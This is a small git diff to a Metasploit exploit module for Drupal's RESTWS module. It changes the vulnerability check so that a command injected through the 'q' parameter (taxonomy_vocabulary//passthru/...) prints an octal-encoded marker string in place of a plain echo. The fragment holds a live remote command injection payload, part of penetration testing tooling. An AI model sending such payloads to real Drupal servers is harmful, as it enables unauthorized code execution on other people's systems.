diff --git a/modules/exploits/unix/webapp/drupal_restws_exec.rb b/modules/exploits/unix/webapp/drupal_restws_exec.rb index 14e1524252..866d7210b6 100644 --- a/modules/exploits/unix/webapp/drupal_restws_exec.rb +++ b/modules/exploits/unix/webapp/drupal_restws_exec.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { - 'q' => "taxonomy_vocabulary//passthru/echo #{r}" + 'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'" } ) if res && res.body.include?(r)